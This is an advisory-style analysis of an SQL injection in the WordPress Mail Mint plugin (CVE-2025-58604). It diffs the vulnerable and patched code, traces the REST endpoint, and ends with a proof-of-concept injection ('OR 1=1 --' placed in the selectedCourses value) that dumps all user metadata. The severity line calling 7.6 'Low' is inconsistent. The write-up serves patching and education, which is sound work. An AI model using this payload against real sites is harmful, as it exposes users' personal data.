CVE-2025-58604 Analysis & POC

The vulnerability occurs in the Mail Mint plugin for WordPress prior to version 1.18.6. This flaw allows attackers to directly interact with the database — potentially leading to information disclosure or data theft.
- CVE ID: CVE-2025-58604
- Product: WordPress Mail Mint Plugin
- Vulnerability Type: SQL Injection
- Affected Versions: <= 1.18.5
- CVSS Severity: Low (7.6)
- Required Privilege: Administrator
1 Requirements
- Local WordPress & Debugging: Local WordPress and Debugging.
- Mail Mint: v1.18.5 (vulnerable) and v1.18.6 (patched)
- Diff tool: meld or any comparison tool to visualize the code difference between versions
2 Analysis
The vulnerable function directly inserts user input into an SQL query without using proper sanitization or query preparation, leading to an SQL Injection vulnerability.
2.1 Patch Diff
Use any diff tool to compare the vulnerable and patched versions. There is a clear difference in the file /app/Utilities/Helper/Import.php.
public static function get_wp_users_by_learndash_with_limit_offset($courses, $number = 5, $offset = 0)
{
// other logic
global $wpdb;
$total_query = "SELECT COUNT(DISTINCT user_id) as total
FROM {$wpdb->prefix}usermeta
WHERE meta_key IN ('" . implode("', '", $keys) . "')";
$total = $wpdb->get_var($total_query); //phpcs:ignore
// Final query to retrieve user IDs with limit and offset.
$final_query = "SELECT user_id
FROM {$wpdb->prefix}usermeta
WHERE meta_key IN ('" . implode("', '", $keys) . "')
GROUP BY user_id
LIMIT $number OFFSET $offset";
$users = $wpdb->get_results($final_query, ARRAY_A); //phpcs:ignore
// other logic
}
The patch replaces direct string concatenation with the safer $wpdb->prepare()
method.
public static function get_wp_users_by_learndash_with_limit_offset($courses, $number = 5, $offset = 0)
{
// other logic
global $wpdb;
// Total query (safe with prepare)
$total_query = $wpdb->prepare(
"SELECT COUNT(DISTINCT user_id) as total
FROM {$wpdb->usermeta}
WHERE meta_key IN ($placeholders)",
$keys
);
$total = $wpdb->get_var($total_query); //phpcs:ignore
// Final query with LIMIT & OFFSET (safe with prepare)
$final_query = $wpdb->prepare(
"SELECT user_id
FROM {$wpdb->usermeta}
WHERE meta_key IN ($placeholders)
GROUP BY user_id
LIMIT %d OFFSET %d",
array_merge($keys, array($number, $offset))
);
$users = $wpdb->get_results($final_query, ARRAY_A); //phpcs:ignore
// other logic
}

Patch Diff
2.2 How It Works
The vulnerability resides in the function get_wp_users_by_learndash_with_limit_offset($courses, $number = 5, $offset = 0)
inside the Import
class.
To trace its usage, search for the keyword get_wp_users_by_learndash_with_limit_offset
in the plugin directory.

Search Import
The function is called inside:
retrieve_contacts_associated_with_learndash()
perform_learndash_user_import()
These functions belong to the ContactImportAction
class in /app/API/Actions/Admin/Contact/ContactImportAction.php.
Next, searching for retrieve_contacts_associated_with_learndash
reveals it is used inside another method:

Search 1
This function is invoked by map_contacts_with_learndash()
in the ContactImportController
class located in /app/API/Controllers/Admin/Contact/ContactImportController.php.
Further tracing map_contacts_with_learndash
shows it is registered as a REST API callback:

Search 2
class ContactImportRoute extends AdminRoute {
public function register_routes() {
register_rest_route(
$this->namespace, // mrm/v1
$this->rest_base . '/learndash/map', // contacts/import/learndash/map/
array(
array(
'methods' => WP_REST_Server::CREATABLE, // POST
'callback' => array( $this->controller, 'map_contacts_with_learndash' ),
'permission_callback' => PermissionManager::current_user_can('mint_manage_contacts'), // Admin
'args' => array(
'selectedCourses' => array(
'description' => __( 'The selected courses from which to import contacts.', 'mrm' ),
'required' => true,
'type' => 'array',
'sanitize_callback' => 'rest_sanitize_array',
)
), // array + required
),
)
);
// other logic
}
// other logic
}
Call flow:
A
POST
request is made to/wp-json/mrm/v1/contacts/import/learndash/map
with the required parameterselectedCourses
.The callback
map_contacts_with_learndash(WP_REST_Request $request)
receives the request.- The
$request
object is converted to an array$params
.
- The
The callback then calls
retrieve_contacts_associated_with_learndash($params)
.That function finally calls
get_wp_users_by_learndash_with_limit_offset($courses, $number = 5, $offset = 0)
where:$courses = $params['selectedCourses']
$keys
is an array built from allvalue
fields in$courses
, concatenated likecourse_{COURSE_ID}_access_from
.- Before being inserted into the SQL query, the
$keys
array is merged into a string usingimplode()
.
The query is executed and returns a JSON response with
formatted_users
andtotal_users
.
3 Exploit
After analyzing the code, it’s clear that the selectedCourses
parameter undergoes several transformations before being injected into the vulnerable SQL query — but the attacker still controls the value
key.
POST request using BurpSuite:
A single key can be used to easily control the final SQL query.

Get all user info
The resulting query looks like this:
SELECT user_id
FROM wp_usermeta
WHERE meta_key IN ('course_abc') OR 1=1 -- _access_from') GROUP BY user_id LIMIT 5 OFFSET 0
')
escapes theIN
clause1=1
is always true → returns all user IDs fromwp_usermeta
The rest of the function retrieves metadata for all returned users:
$formatted_users = array_map(
function ($user) {
$user->usermeta = array_map(
function ($user_data) {
return reset($user_data);
},
get_user_meta($user->ID)
);
return $user;
},
$contacts
);
4 Conclusion
The CVE-2025-58604 vulnerability in the WordPress Mail Mint plugin (prior to version 1.18.6) originates from not using $wpdb->prepare()
when executing SQL queries.
Instead, user input was directly concatenated into the SQL statement — leading to a classic SQL Injection vulnerability.
The patch now uses $wpdb->prepare()
to safely construct SQL queries and mitigate this issue.
Key takeaways:
- Always use
$wpdb->prepare()
when interacting with the WordPress database to prevent SQL Injection. - Regularly update your plugins and perform security reviews to avoid exploitation.
5 References
SQL Injection Cheat Sheet - PortSwigger
WordPress Mail Mint Plugin <= 1.18.5 is Vulnerable to SQL Injection